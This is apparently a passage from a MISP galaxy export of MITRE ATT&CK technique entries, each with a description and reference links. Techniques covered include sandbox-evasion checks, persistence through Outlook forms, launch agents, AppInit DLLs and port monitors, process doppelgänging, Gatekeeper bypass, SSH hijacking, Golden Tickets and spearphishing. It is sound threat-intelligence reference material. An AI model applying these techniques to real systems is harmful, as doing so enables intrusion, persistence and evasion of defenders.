https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory
https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser
https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554
https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d

System Checks - T1633.001

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware's behavior to disengage from the victim or conceal the core functions of

the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Hardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.

The tag is: *misp-galaxy:mitre-attack-pattern="System Checks - T1633.001"*

Table 8725. Table References

Links
https://attack.mitre.org/techniques/T1633/001

Outlook Forms - T1137.003

Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

Once malicious forms have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003"*

Table 8726. Table References

Links
https://attack.mitre.org/techniques/T1137/003
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://sensepost.com/blog/2017/outlook-forms-and-shells/

Launch Agent - T1543.001

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the

<code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

```
Launch Agents can also be executed using the
[Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
```

Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"*

Table 8727. Table References

Links
https://attack.mitre.org/techniques/T1543/001
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Web Protocols - T1437.001

Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server.

Web protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the

respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001"*

Table 8728. Table References

Links
https://attack.mitre.org/techniques/T1437/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html

Gatekeeper Bypass - T1553.001

Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple's security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization)

Based on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:

1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)
2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.
3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.
4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an "unauthorized app" and the security policy will be modified.

Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)

Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the

quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

The tag is: *misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"*

Table 8729. Table References

Links
https://attack.mitre.org/techniques/T1553/001
https://eclecticlight.co/2020/08/28/how-notarization-works/
https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://redcanary.com/blog/mac-application-bundles/
https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update

Process Doppelgänging - T1055.013

Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with

malicious code. These changes will be isolated and only visible within the context of the transaction.

- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013"*

Table 8730. Table References

Links
https://attack.mitre.org/techniques/T1055/013
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

SSH Hijacking - T1563.001

Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001"*

Table 8731. Table References

Links
https://attack.mitre.org/techniques/T1563/001
https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/
https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219

URI Hijacking - T1635.001

Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.

Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)

The tag is: *misp-galaxy:mitre-attack-pattern="URI Hijacking - T1635.001"*

Table 8732. Table References

Links
https://attack.mitre.org/techniques/T1635/001
https://developer.android.com/training/app-links/index.html
https://tools.ietf.org/html/rfc7636
https://tools.ietf.org/html/rfc8252
https://web.archive.org/web/20211023221110/https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/

Symmetric Cryptography - T1573.001

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

The tag is: *misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"*

Table 8733. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1573/001

Outlook Rules - T1137.005

Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Once malicious rules have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005"*

Table 8734. Table References

Links
https://attack.mitre.org/techniques/T1137/005
https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://silentbreaksecurity.com/malicious-outlook-rules/

Social Media - T1593.001

Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim's into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources

(ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media - T1593.001"*

Table 8735. Table References

Links
https://attack.mitre.org/techniques/T1593/001
https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e

Calendar Entries - T1636.001

Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework.

If the device has been jailbroken or rooted, an adversary may be able to access [Calendar Entries](https://attack.mitre.org/techniques/T1636/001) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001"*

Table 8736. Table References

Links
https://attack.mitre.org/techniques/T1636/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

VDSO Hijacking - T1055.014

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="VDSO Hijacking - T1055.014"*

Table 8737. Table References

Links
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1055/014
https://lwn.net/Articles/604515/
https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
https://www.gnu.org/software/acct/

AppInit DLLs - T1546.010

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010"*

Table 8738. Table References

Links
https://attack.mitre.org/techniques/T1546/010
https://msdn.microsoft.com/en-us/library/dn280412
https://support.microsoft.com/en-us/kb/197571
https://technet.microsoft.com/en-us/sysinternals/bb963902

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Port Monitors - T1547.010

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham)

Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

The tag is: *misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010"*

Table 8739. Table References

Links
https://attack.mitre.org/techniques/T1547/010
https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf

Identify Roles - T1591.004

Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open

Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004"*

Table 8740. Table References

Links
https://attack.mitre.org/techniques/T1591/004
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

Compute Hijacking - T1496.001

Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

One common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)

Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)

The tag is: *misp-galaxy:mitre-attack-pattern="Compute Hijacking - T1496.001"*

Table 8741. Table References

Links
https://attack.mitre.org/techniques/T1496/001
https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc
https://securelist.com/lazarus-under-the-hood/77908/
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html
https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html

System Checks - T1497.001

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"*

Table 8742. Table References

Links
https://attack.mitre.org/techniques/T1497/001
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/

Golden Ticket - T1558.001

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.

The tag is: *misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001"*

Table 8743. Table References

Links
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=1640
https://adsecurity.org/?p=483
https://attack.mitre.org/techniques/T1558/001
https://blog.stealthbits.com/detect-pass-the-ticket-attacks
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285

Spearphishing Attachment - T1566.001

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of

the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"*

Table 8744. Table References

Links
https://attack.mitre.org/techniques/T1566/001
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql

Create Snapshot - T1578.001

An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001"*

Table 8745. Table References

Links
https://attack.mitre.org/techniques/T1578/001
https://cloud.google.com/compute/docs/instances/create-start-instance#api_2
https://cloud.google.com/logging/docs/audit#admin-activity
https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html

https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Spearphishing Service - T1598.001

Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Service - T1598.001"*

Table 8746. Table References

Links
https://attack.mitre.org/techniques/T1598/001
https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/

Component Firmware - T1542.002

Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002"*

Table 8747. Table References

Links
https://attack.mitre.org/techniques/T1542/002
https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
https://www.smartmontools.org/

User Evasion - T1628.002

Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary's modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.

